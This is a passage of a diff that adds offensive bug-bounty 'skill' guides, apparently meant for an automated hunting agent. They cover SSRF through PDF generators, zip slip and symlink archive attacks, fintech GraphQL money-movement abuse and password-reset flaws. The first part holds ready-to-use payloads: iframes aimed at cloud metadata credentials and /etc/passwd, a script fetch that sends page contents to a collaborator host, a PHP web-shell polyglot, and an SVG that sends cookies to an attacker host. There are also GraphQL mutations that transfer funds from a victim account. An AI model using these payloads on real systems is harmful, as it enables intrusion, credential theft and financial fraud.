# Test: upload .m3u8 or video file to any video processing endpoint
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Headless Chrome / PDF Generator SSRF
|
|
101
|
+
|
|
102
|
+
### HTML → PDF Converter Attacks
|
|
103
|
+
```bash
|
|
104
|
+
# Target: invoice generators, report exporters, screenshot services
|
|
105
|
+
# Inject HTML that causes headless Chrome to fetch internal resources
|
|
106
|
+
|
|
107
|
+
# SSRF via CSS import
|
|
108
|
+
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
|
|
109
|
+
|
|
110
|
+
# SSRF via HTML iframe
|
|
111
|
+
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
|
|
112
|
+
|
|
113
|
+
# Local file read
|
|
114
|
+
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
|
|
115
|
+
|
|
116
|
+
# JavaScript execution (if sandbox not enforced)
|
|
117
|
+
PAYLOAD='<html><body><script>
|
|
118
|
+
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
|
|
119
|
+
</script></body></html>'
|
|
120
|
+
|
|
121
|
+
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
|
|
122
|
+
curl -s -X POST "https://$TARGET/api/generate-pdf" \
|
|
123
|
+
-H "Content-Type: application/json" \
|
|
124
|
+
-d "{\"html\": \"$PAYLOAD\"}"
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Archive Extraction Attacks (Zip Slip / Symlink)
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# Zip Slip — path traversal via archive filenames
|
|
133
|
+
pip3 install evilarc
|
|
134
|
+
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
|
|
135
|
+
|
|
136
|
+
# Symlink attack — archive contains symlink to sensitive file
|
|
137
|
+
mkdir -p /tmp/sym_attack
|
|
138
|
+
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
|
|
139
|
+
zip -ry /tmp/symlink.zip /tmp/sym_attack/
|
|
140
|
+
|
|
141
|
+
# TAR symlink attack
|
|
142
|
+
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
|
|
143
|
+
|
|
144
|
+
# Test: upload to any /import, /extract, /unzip endpoint
|
|
145
|
+
curl -s -X POST "https://$TARGET/api/import" \
|
|
146
|
+
-F "file=@/tmp/zipslip.zip"
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Related Skills & Chains
|
|
152
|
+
|
|
153
|
+
- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.
|
|
154
|
+
- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.
|
|
155
|
+
- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.
|
|
156
|
+
- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
|
|
157
|
+
- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
|
|
158
|
+
- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
|
|
@@ -0,0 +1,245 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-fintech-graphql
|
|
3
|
+
description: "Hunt fintech-specific GraphQL vulnerabilities: money-movement mutations (transfers, redemptions, withdrawals, card top-ups), ledger/balance/portfolio query IDOR, decimal-precision and rounding abuse, idempotency-key bypass enabling double-spend, KYC/PII field-level authorization gaps, and admin-override mutations reachable via mass assignment. Distinct from hunt-graphql, which owns generic GraphQL discovery and IDOR/mutation methodology — this skill owns the delta introduced when a GraphQL layer sits in front of a ledger, wallet, payments, banking, brokerage, or lending backend, where a resolver bug moves real money instead of just leaking data. Use when hunting a fintech, banking, payments, wallet, neobank, brokerage, or lending target that exposes a GraphQL API, or when a schema/response includes balance, transfer, ledger, redeem, quote, KYC, or account-linking fields."
|
|
4
|
+
sources: owasp_api_top10_2023, public_research
|
|
5
|
+
report_count: 0
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Why Fintech GraphQL Is a Different Risk Class
|
|
9
|
+
|
|
10
|
+
Generic GraphQL bugs (IDOR, mass assignment, introspection, batching abuse — see `hunt-graphql`)
|
|
11
|
+
still apply here, but the blast radius changes completely: a resolver bug in a SaaS app leaks
|
|
12
|
+
data, the same class of bug in a ledger mutation **moves money**. Three properties make fintech
|
|
13
|
+
GraphQL backends a distinct hunting surface:
|
|
14
|
+
|
|
15
|
+
- **Money-movement mutations are almost always resolvers over a double-entry ledger.** A single
|
|
16
|
+
GraphQL mutation (`transferFunds`, `redeemRewards`, `withdrawToBank`) can trigger multiple
|
|
17
|
+
ledger writes (debit + credit + fee) that must be atomic. GraphQL's flexible input shape and
|
|
18
|
+
alias batching make it easy to desynchronize those writes.
|
|
19
|
+
- **Decimals are attacker-controlled input, not display formatting.** Amounts, exchange rates,
|
|
20
|
+
interest, and rewards points are usually passed as GraphQL scalars (`Float`, `String`, custom
|
|
21
|
+
`Decimal`/`Money` scalar). How the resolver parses and rounds that value is exploitable surface
|
|
22
|
+
in its own right — this barely exists in non-financial GraphQL APIs.
|
|
23
|
+
- **KYC/PII fields sit next to routine account fields in the same type.** `User` or `Account`
|
|
24
|
+
types commonly expose `ssnLast4`, `routingNumber`, `kycStatus`, `governmentIdUrl`, or
|
|
25
|
+
`linkedBankAccount` alongside `displayName` and `email` — one missing field-level authorization
|
|
26
|
+
check on a type used everywhere in the schema fans out to every query that touches it.
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
## Attack Surface Signals
|
|
31
|
+
|
|
32
|
+
**URL / schema naming patterns (in addition to `hunt-graphql`'s generic `/graphql` list):**
|
|
33
|
+
```
|
|
34
|
+
/graphql/ledger
|
|
35
|
+
/graphql/payments
|
|
36
|
+
/api/wallet/graphql
|
|
37
|
+
/internal/ledger-graphql
|
|
38
|
+
/banking/graphql
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
**Field/type names worth grepping schema introspection or JS bundles for:**
|
|
42
|
+
```
|
|
43
|
+
balance, availableBalance, pendingBalance, ledgerEntry, ledgerEntries
|
|
44
|
+
transferFunds, withdraw, redeem, topUp, reverseTransaction, adjustBalance
|
|
45
|
+
kycStatus, ssnLast4, routingNumber, accountNumber, governmentIdUrl
|
|
46
|
+
quoteExchangeRate, interestAccrued, rewardsPoints, portfolioValue
|
|
47
|
+
idempotencyKey, clientMutationId
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Tech-stack tells specific to this vertical:**
|
|
51
|
+
- Plaid/Stripe/Dwolla/Marqeta wrapped behind an internal GraphQL gateway (`bankLink`, `plaidLinkToken` mutations)
|
|
52
|
+
- Apollo Federation with a dedicated `ledger` or `payments` subgraph — check for the subgraph's own introspection being reachable directly, bypassing the gateway's stitched-down schema
|
|
53
|
+
- Custom `Money`/`Decimal`/`BigDecimal` GraphQL scalar in the schema (`scalar Money`) — the parser for this scalar is worth fuzzing directly
|
|
54
|
+
|
|
55
|
+
Run `hunt-graphql`'s discovery + introspection methodology first to get the schema; everything
|
|
56
|
+
below assumes you already have (or have partially enumerated) a schema with money-movement types.
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## Step-by-Step Hunting Methodology
|
|
61
|
+
|
|
62
|
+
1. **Map every mutation that touches balance, whether directly or as a side effect.** Not just
|
|
63
|
+
`transfer*`/`withdraw*` — also `redeemRewards`, `applyCoupon`, `upgradeTier`,
|
|
64
|
+
`closeAccount` (often refunds a balance), `disputeTransaction` (often provisionally credits).
|
|
65
|
+
|
|
66
|
+
2. **For each money-movement mutation, identify the ledger write shape.** Does one mutation call
|
|
67
|
+
produce one ledger entry or several (debit sender, credit receiver, fee entry)? Multi-entry
|
|
68
|
+
writes are the ones worth racing — see Stage 4.
|
|
69
|
+
|
|
70
|
+
3. **Test idempotency-key handling.** Send the identical mutation (same `idempotencyKey` /
|
|
71
|
+
`clientMutationId`) twice, back-to-back and with a delay. A ledger write on the second call
|
|
72
|
+
means idempotency isn't enforced server-side — replay = double-execute.
|
|
73
|
+
|
|
74
|
+
4. **Test decimal/precision edge cases** on every amount-accepting argument — see Payload section.
|
|
75
|
+
Confirm server-side rounding matches client-displayed rounding; a mismatch is directly
|
|
76
|
+
monetizable.
|
|
77
|
+
|
|
78
|
+
5. **Probe cross-account IDOR on account/portfolio node IDs**, same as `hunt-idor`/`hunt-graphql`,
|
|
79
|
+
but specifically test whether a `transferFunds`-style mutation validates that the
|
|
80
|
+
**source account belongs to the authenticated caller** — not just that *some* account with
|
|
81
|
+
that ID exists. This is the fintech-specific IDOR: authz on the *source* of a debit is easy to
|
|
82
|
+
forget when authz on the *destination* of a credit was correctly implemented (crediting an
|
|
83
|
+
arbitrary account "looks safe" to a developer; debiting one clearly isn't, so it gets checked
|
|
84
|
+
— but sometimes only one direction does).
|
|
85
|
+
|
|
86
|
+
6. **Check field-level authorization on KYC/PII fields** by querying the shared `User`/`Account`
|
|
87
|
+
type from every context that returns it — not just the profile screen. A `transaction` type
|
|
88
|
+
that embeds `counterparty { ssnLast4 }` is a common place for the check to be missing, because
|
|
89
|
+
the developer authorized the top-level `transaction` query but didn't re-check field access on
|
|
90
|
+
the nested `counterparty`.
|
|
91
|
+
|
|
92
|
+
7. **Look for admin-tier mutations reachable via mass assignment**, not just a missing auth
|
|
93
|
+
check — e.g. an input object with a client-settable `status` or `override` field that a normal
|
|
94
|
+
user's mutation shouldn't expose but that the resolver accepts anyway
|
|
95
|
+
(`updateTransaction(input: {id, status: "COMPLETED", amount: "..."})`).
|
|
96
|
+
|
|
97
|
+
8. **Test currency-argument consistency.** Send a transfer/quote mutation with mismatched
|
|
98
|
+
`sourceCurrency`/`targetCurrency` combinations the UI never generates (e.g. self-transfer with
|
|
99
|
+
a currency conversion) and check whether the resolver's FX-rate lookup and the ledger write use
|
|
100
|
+
the same rate — a TOCTOU window here is a direct arbitrage bug.
|
|
101
|
+
|
|
102
|
+
9. **Combine alias batching with money-movement mutations** to test for double-spend — see
|
|
103
|
+
`hunt-race-condition` for the parallel-HTTP escalation once alias batching alone confirms the
|
|
104
|
+
resolver isn't serializing writes per-account.
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## Payload & Detection Patterns
|
|
109
|
+
|
|
110
|
+
**Idempotency-key replay test:**
|
|
111
|
+
```graphql
|
|
112
|
+
mutation {
|
|
113
|
+
transferFunds(input: {
|
|
114
|
+
idempotencyKey: "test-key-001"
|
|
115
|
+
sourceAccountId: "acc_1"
|
|
116
|
+
destAccountId: "acc_2"
|
|
117
|
+
amount: "10.00"
|
|
118
|
+
}) { transactionId status }
|
|
119
|
+
}
|
|
120
|
+
```
|
|
121
|
+
Send twice with the identical `idempotencyKey`. Two successful, distinct `transactionId` values
|
|
122
|
+
= idempotency not enforced.
|
|
123
|
+
|
|
124
|
+
**Decimal-precision / rounding probes:**
|
|
125
|
+
```graphql
|
|
126
|
+
mutation { transferFunds(input: {sourceAccountId:"acc_1", destAccountId:"acc_2", amount: "0.001"}) { transactionId } }
|
|
127
|
+
mutation { transferFunds(input: {sourceAccountId:"acc_1", destAccountId:"acc_2", amount: "9999999999999999.99"}) { transactionId } }
|
|
128
|
+
mutation { transferFunds(input: {sourceAccountId:"acc_1", destAccountId:"acc_2", amount: "1e2"}) { transactionId } }
|
|
129
|
+
mutation { transferFunds(input: {sourceAccountId:"acc_1", destAccountId:"acc_2", amount: "-50.00"}) { transactionId } }
|
|
130
|
+
```
|
|
131
|
+
Sub-cent amounts test truncate-vs-round handling (repeat N times to accumulate a rounding-error
|
|
132
|
+
balance drift); scientific notation and oversized values test whether the `Money`/`Decimal`
|
|
133
|
+
scalar parser falls back to a native float/int with overflow or precision-loss behavior; negative
|
|
134
|
+
amounts test whether the resolver assumes sign server-side or trusts the client's.
|
|
135
|
+
|
|
136
|
+
**Alias-batched double-spend probe (confirm before escalating to parallel HTTP):**
|
|
137
|
+
```graphql
|
|
138
|
+
mutation {
|
|
139
|
+
r1: redeemRewards(input: {rewardId: "rwd_1", accountId: "acc_1"}) { success }
|
|
140
|
+
r2: redeemRewards(input: {rewardId: "rwd_1", accountId: "acc_1"}) { success }
|
|
141
|
+
r3: redeemRewards(input: {rewardId: "rwd_1", accountId: "acc_1"}) { success }
|
|
142
|
+
}
|
|
143
|
+
```
|
|
144
|
+
If more than one alias succeeds against a single-use reward/coupon, the resolver doesn't
|
|
145
|
+
serialize per-account/per-resource writes within a batched request — see `hunt-race-condition`
|
|
146
|
+
for combining this with parallel HTTP POSTs to confirm real double-spend impact.
|
|
147
|
+
|
|
148
|
+
**Source-account authorization probe (asymmetric IDOR check):**
|
|
149
|
+
```graphql
|
|
150
|
+
mutation {
|
|
151
|
+
transferFunds(input: {
|
|
152
|
+
sourceAccountId: "VICTIM_ACCOUNT_ID"
|
|
153
|
+
destAccountId: "ATTACKER_CONTROLLED_ACCOUNT_ID"
|
|
154
|
+
amount: "1.00"
|
|
155
|
+
}) { transactionId status }
|
|
156
|
+
}
|
|
157
|
+
```
|
|
158
|
+
Run as the attacker's own session/token. Success = the resolver validated the destination is
|
|
159
|
+
attacker-controlled (obviously required) but never validated that the source belongs to the
|
|
160
|
+
caller.
|
|
161
|
+
|
|
162
|
+
**Nested field-level PII probe:**
|
|
163
|
+
```graphql
|
|
164
|
+
query {
|
|
165
|
+
transaction(id: "txn_123") {
|
|
166
|
+
amount
|
|
167
|
+
counterparty { displayName ssnLast4 routingNumber kycStatus }
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
```
|
|
171
|
+
Query as a user with no relationship to the counterparty beyond a shared transaction; success on
|
|
172
|
+
the nested PII fields is the finding even if the top-level `transaction` query correctly scoped
|
|
173
|
+
the transaction itself.
|
|
174
|
+
|
|
175
|
+
**Mass-assignment probe on admin-shaped input fields:**
|
|
176
|
+
```graphql
|
|
177
|
+
mutation {
|
|
178
|
+
updateTransaction(input: {id: "txn_123", status: "COMPLETED", amount: "0.01"}) { id status }
|
|
179
|
+
}
|
|
180
|
+
```
|
|
181
|
+
Send as a non-admin user against a mutation the client UI never exposes these fields for; a
|
|
182
|
+
schema that accepts them anyway is mass assignment onto ledger state.
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Common Root Causes
|
|
187
|
+
|
|
188
|
+
1. **Client-side amount/fee validation only.** The UI computes and displays the correct amount;
|
|
189
|
+
the resolver trusts whatever the GraphQL client actually sends, because "the app always sends
|
|
190
|
+
the right value."
|
|
191
|
+
2. **Non-atomic multi-entry ledger writes.** Debit, credit, and fee entries are written as
|
|
192
|
+
separate sequential statements instead of inside a single transaction/lock — the race window
|
|
193
|
+
this creates is exactly what alias batching + parallel HTTP exploits.
|
|
194
|
+
3. **`Money`/`Decimal` scalar falls back to native float parsing** under edge-case input
|
|
195
|
+
(scientific notation, oversized strings), reintroducing floating-point rounding error into a
|
|
196
|
+
system that was supposed to guarantee fixed-point precision.
|
|
197
|
+
4. **Idempotency keys are stored but never checked before executing the write** — the key is
|
|
198
|
+
logged for support/debugging purposes, not used as a dedup gate.
|
|
199
|
+
5. **Field-level authorization implemented per top-level query, not per type.** A `User`/`Account`
|
|
200
|
+
type's sensitive fields are protected when queried directly (`me { ssnLast4 }`) but not when
|
|
201
|
+
the same type is returned nested inside an unrelated query (`transaction { counterparty {...} }`).
|
|
202
|
+
6. **Source-account ownership check missing while destination-account existence check is
|
|
203
|
+
present** — see methodology step 5. Debiting looks dangerous so it gets reviewed; the "does
|
|
204
|
+
this account belong to the caller" check quietly only gets applied to the credited side.
|
|
205
|
+
7. **Admin/internal mutations reuse the same input type as the public mutation**, just with extra
|
|
206
|
+
optional fields — nothing at the resolver layer strips those fields for non-admin callers.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Gate 0 Validation
|
|
211
|
+
|
|
212
|
+
Money-movement findings need a stricter bar than a typical GraphQL IDOR — "the query returns
|
|
213
|
+
someone else's balance" is real impact; "I sent a malformed amount and got a 400" is not.
|
|
214
|
+
|
|
215
|
+
1. **Did an actual ledger write occur, and can you show it?** Query the account balance before
|
|
216
|
+
and after — a state change (not just a `200`/success response body) is the proof.
|
|
217
|
+
2. **Is the win deterministic, not a timing fluke?** For race/double-spend findings, reproduce
|
|
218
|
+
twice from a clean state. If it only works under specific load conditions, document the window
|
|
219
|
+
honestly rather than claiming guaranteed exploitability.
|
|
220
|
+
3. **Does the finding move value the attacker didn't have, or reveal data they shouldn't see** —
|
|
221
|
+
not just "the mutation accepted an unexpected input type and the API returned an error
|
|
222
|
+
message." A verbose GraphQL error leaking a stack trace on a malformed `Money` scalar is a
|
|
223
|
+
`hunt-source-leak`-class finding, not a fintech-logic one — don't conflate the two in a report.
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## Related Skills & Chains
|
|
228
|
+
|
|
229
|
+
- **`hunt-graphql`** — parent skill for generic GraphQL discovery, introspection bypass, node-ID
|
|
230
|
+
IDOR, and alias-batching mechanics. Load this skill first; `hunt-fintech-graphql` assumes that
|
|
231
|
+
methodology and only adds the money-movement-specific delta.
|
|
232
|
+
- **`hunt-business-logic`** — coupon/reward double-redemption and other logic-flaw patterns
|
|
233
|
+
generalize directly to `redeemRewards`/`applyCoupon`-style mutations here.
|
|
234
|
+
- **`hunt-race-condition`** — the escalation path once alias batching alone confirms a
|
|
235
|
+
money-movement mutation doesn't serialize writes: combine with parallel-HTTP / single-packet
|
|
236
|
+
attack for a deterministic double-spend PoC.
|
|
237
|
+
- **`hunt-api-misconfig`** — mass assignment and JWT-claim tampering patterns apply directly to
|
|
238
|
+
admin-shaped GraphQL input objects reachable by normal users.
|
|
239
|
+
- **`hunt-idor`** — the source-account-vs-destination-account asymmetric authz pattern (step 5) is
|
|
240
|
+
a fintech-specific instance of the general IDOR-on-mutation-argument class.
|
|
241
|
+
- **`evidence-hygiene`** — balance screenshots and ledger-entry PoCs need the same cookie/PII
|
|
242
|
+
redaction discipline as any other capture, plus care that a real account number/balance from a
|
|
243
|
+
live financial account is never included verbatim.
|
|
244
|
+
- **`triage-validation`** — apply Gate 0 above before drafting; a fintech program's triage team
|
|
245
|
+
will kill anything without a demonstrated ledger state change immediately.
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-forgot-password
|
|
3
|
+
description: "Hunt Forgot Password / Account Recovery Authentication Flaws — 5 distinct patterns: (1) username enumeration via different responses for valid vs invalid email, (2) reset token exposed directly in the API response body, (3) reset token not invalidated after use (replay), (4) password reset link works from a different IP/browser (no binding), (5) no rate limit on the reset request endpoint. These are the standalone recovery-flow broken-auth primitives — distinct from reset-email host-header poisoning (hunt-host-header) and the full ATO chain (hunt-ato owns password-reset as an ATO path; prove the primitive here, chain it there). Detection: trace the full forgot-password flow from request to token to use; check response diffs between valid/invalid emails; test token replay after consumption. Medium to High (enumeration=Medium, token-reuse=High, account-takeover=Critical when chained to known-email)."
|
|
4
|
+
sources: hackerone_public, public_research
|
|
5
|
+
report_count: 6
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Autonomous Testing Priority
|
|
9
|
+
|
|
10
|
+
**Start with username enumeration — it's the fastest win and gates the rest.**
|
|
11
|
+
|
|
12
|
+
**Pattern 1 — Username enumeration (response difference for valid vs invalid email):**
|
|
13
|
+
1. POST to the forgot-password endpoint with a clearly invalid email (e.g. `nonexistent@fakedomain12345.com`) — record the response body, status code, and length
|
|
14
|
+
2. POST with an email you know exists (or try common patterns like `admin@target.com`, `test@target.com`, `user@target.com`)
|
|
15
|
+
3. Compare responses: different message ("Email sent" vs "Email not found"), different HTTP status, or meaningfully different body length = username enumeration confirmed
|
|
16
|
+
4. Proof: enumeration is confirmed when the two responses differ measurably (baseline vs probe) in message text, status code, or body length
|
|
17
|
+
|
|
18
|
+
**Pattern 2 — Reset token exposed in the API response:**
|
|
19
|
+
Some APIs return the reset token directly in the response body (instead of only emailing it). POST to the forgot-password endpoint and look for a token, link, or code in the JSON/HTML response. If a token appears that lets you reset the password, that's an immediate account-takeover vector.
|
|
20
|
+
|
|
21
|
+
**Pattern 3 — Reset token replay (reuse after use):**
|
|
22
|
+
1. Complete a full password reset cycle: request token → use it to reset password
|
|
23
|
+
2. Immediately try submitting the same token again to the reset-password endpoint
|
|
24
|
+
3. If the second submission returns 200 or "success" → token not invalidated after use
|
|
25
|
+
|
|
26
|
+
**Pattern 4 — No rate limit on reset requests:**
|
|
27
|
+
Submit the forgot-password endpoint 10-20 times rapidly with the same email. If all succeed without a 429, lockout, or CAPTCHA → no rate limit (enumeration + token flooding is possible).
|
|
28
|
+
|
|
29
|
+
**Content-type:** Forgot-password endpoints are often JSON-based REST APIs. Use `application/x-www-form-urlencoded` only if the endpoint is a traditional HTML form (check the login page's HTML to determine form encoding).
|
|
30
|
+
|
|
31
|
+
**Proof:** Username enumeration = measurably different response (body/status/length). Token exposure = token in response body. Token replay = second successful use of a consumed token.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## Vulnerability Classes in This Skill
|
|
36
|
+
|
|
37
|
+
### 1. Username Enumeration via Password Reset
|
|
38
|
+
Different error messages for valid vs invalid accounts leaks the user list without authentication. Even timing differences (fast "no user found" vs slow "email queued") count.
|
|
39
|
+
|
|
40
|
+
High-value targets: admin accounts, employee email patterns, API keys derived from usernames.
|
|
41
|
+
|
|
42
|
+
### 2. Weak / Predictable Reset Tokens
|
|
43
|
+
A reset token derived from timestamp, username, or sequential IDs can be brute-forced:
|
|
44
|
+
- `base64(email + timestamp)` — decodable
|
|
45
|
+
- 4-6 digit numeric code — 10K guesses, easily feasible with no rate limit
|
|
46
|
+
- Sequential `token=1234`, `token=1235` — trivially enumerable
|
|
47
|
+
|
|
48
|
+
### 3. Token Not Bound to Session or IP
|
|
49
|
+
Most apps generate a token, email it, and accept it from any browser. A truly bound token should only work from the same IP or require the original session cookie. If neither is enforced → link forwarding = account takeover.
|
|
50
|
+
|
|
51
|
+
**Token leak via `Referer` / third-party resources.** When the token rides in the reset-page URL (`/reset?token=…`) and that page loads any cross-origin resource (analytics, ads, fonts, a CDN image), the full URL — token included — leaks to that third party in the `Referer` header. Check the reset page's outbound requests: if the token appears in any cross-origin `Referer`, it's harvestable without the victim's inbox. Same leak via a `<meta name=referrer>` misconfig or an outbound link the victim clicks from the reset page. Disclosed token-leak→ATO class: <https://hackerone.com/reports/173551>.
|
|
52
|
+
|
|
53
|
+
### 4. Reset Link Doesn't Expire
|
|
54
|
+
Common best practice: reset tokens expire within ~15–60 minutes (no hard RFC mandates the exact value; OWASP recommends a short, single-use lifetime). If a token from 24 hours ago still works → persistence risk for phishing attacks.
|
|
55
|
+
|
|
56
|
+
### 5. No Rate Limit on Reset Endpoint
|
|
57
|
+
An uncapped reset endpoint enables:
|
|
58
|
+
- Email flooding (DoS against victim's inbox)
|
|
59
|
+
- Token brute-force if the token space is small
|
|
60
|
+
- Username enumeration at scale
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Related Skills
|
|
65
|
+
|
|
66
|
+
- **`hunt-ato`** — owns the account-takeover CHAIN (password-reset is its path #1). This skill finds/proves the recovery-flow primitive; hand off to hunt-ato to assemble the full takeover.
|
|
67
|
+
- **`hunt-cache-poison`** — host-header injection during reset email generation (different vulnerability, same flow)
|
|
68
|
+
- **`hunt-brute-force`** — rate-limit testing pattern applies to the reset endpoint too
|
|
69
|
+
- **`hunt-auth-bypass`** — if the reset flow can be skipped entirely (go to `/reset-password?token=` with empty/null token)
|
|
70
|
+
- **`hunt-mfa-bypass`** — if MFA is required after reset, test the bypass there
|